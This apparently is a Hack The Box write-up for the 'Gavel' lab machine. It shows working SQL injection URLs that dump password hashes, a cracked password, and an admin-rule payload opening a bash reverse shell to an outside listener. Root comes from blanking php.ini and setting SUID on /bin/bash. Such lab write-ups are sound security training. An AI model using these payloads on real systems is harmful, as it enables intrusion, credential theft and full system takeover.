Hack The Box / LINUX / 2026-03-14
Hack The Box — Gavel (Linux)
SQL injection in inventory.php to recover credentials, admin rule RCE, then privilege escalation via gavel-util and PHP config abuse to root.
Target
- IP:
10.10.11.97
Port scan
sudo nmap -sC -sV 10.10.11.97 -p- -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Gavel Auction
| http-git:
| 10.10.11.97:80/.git/
| Git repository found!
| .git/config matched patterns 'user'
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: ..
|_http-favicon: Unknown favicon MD5: 954223287BC6EB88C5DD3C79083B91E1
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add gavel.htb to /etc/hosts, then browse to http://gavel.htb.
The site is written in PHP. After registration and login, there is a bidding page at:
http://gavel.htb/bidding.php
Source code leak via exposed .git
Nmap reported an exposed .git directory. I used git-dumper to retrieve the web source:
mkdir www
python3 git-dumper/git_dumper.py http://gavel.htb/ www
cd www
code .
SQL injection in inventory.php
The vulnerable code in inventory.php:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}
Reference technique: - https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/
Payload attempts
Attempt against information_schema (no visible result, likely restricted):
http://gavel.htb/inventory.php?user_id=x` from (select table_name as `'x` from information_schema.tables)y;%23&sort=\?%23%00
Dump user password hashes:
http://gavel.htb/inventory.php?user_id=x` from (SELECT password AS `'x` from users)y;%23&sort=\?%23%00%20--%20
Two hashes are returned, one of which belongs to our own user. Crack the other hash:
./hashcat/hashcat -a 0 -m 3200 ./hash ./rockyou.txt
Cracked credential:
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
Dump usernames:
http://gavel.htb/inventory.php?user_id=x` from (SELECT username AS `'x` from users)y;%23&sort=\?%23%00%20--%20
Recovered username:
auctioneer
Login with:
- Username:
auctioneer - Password:
midnight1
Initial access (RCE via admin rule)
Go to the admin panel and modify a rule to:
return system("bash -c 'bash -i >& /dev/tcp/10.10.14.136/4444 0>&1'");
Start a listener:
nc -vlnp 4444
Then visit bidding.php, place a bid on the item whose rule was modified, and click Place Bid.
A reverse shell is returned.
Shell upgrade
Switch to the auctioneer user:
su auctioneer
Use password:
midnight1
Check groups:
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
Privilege escalation
Find files belonging to group gavel-seller:
find / -group 'gavel-seller' 2> /dev/null
Interesting files:
/run/gaveld.sock/usr/local/bin/gavel-util
Inspect binary:
file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped
Also found in /opt/gavel:
file gaveld
gaveld: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3b8b1b784b45ddabaf9ca56b06b62d4f59f68a0d, for GNU/Linux 3.2.0, not stripped
gavel-util can submit auction rules. Example file:
/opt/gavel/sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
Copy this file to another directory (for example /tmp/test) and edit it into a valid structure you can submit.
Bypassing PHP restrictions
The rule engine uses this config:
/opt/gavel/.config/php/php.ini
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
Many dangerous functions are disabled and open_basedir limits file access to /opt/gavel.
However, file_put_contents is not disabled, so we can overwrite php.ini with an empty file:
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', ''); return true;"
Submit:
gavel-util submit test.yaml
Item submitted for review in next auction
Verify:
cat /opt/gavel/.config/php/php.ini
Now php.ini is empty, so we can call system() again.
Set SUID on /bin/bash:
rule: "system('chmod +s /bin/bash'); return true;"
Submit again:
gavel-util submit test.yaml
Item submitted for review in next auction
Root shell
bash -p
This gives a shell as root.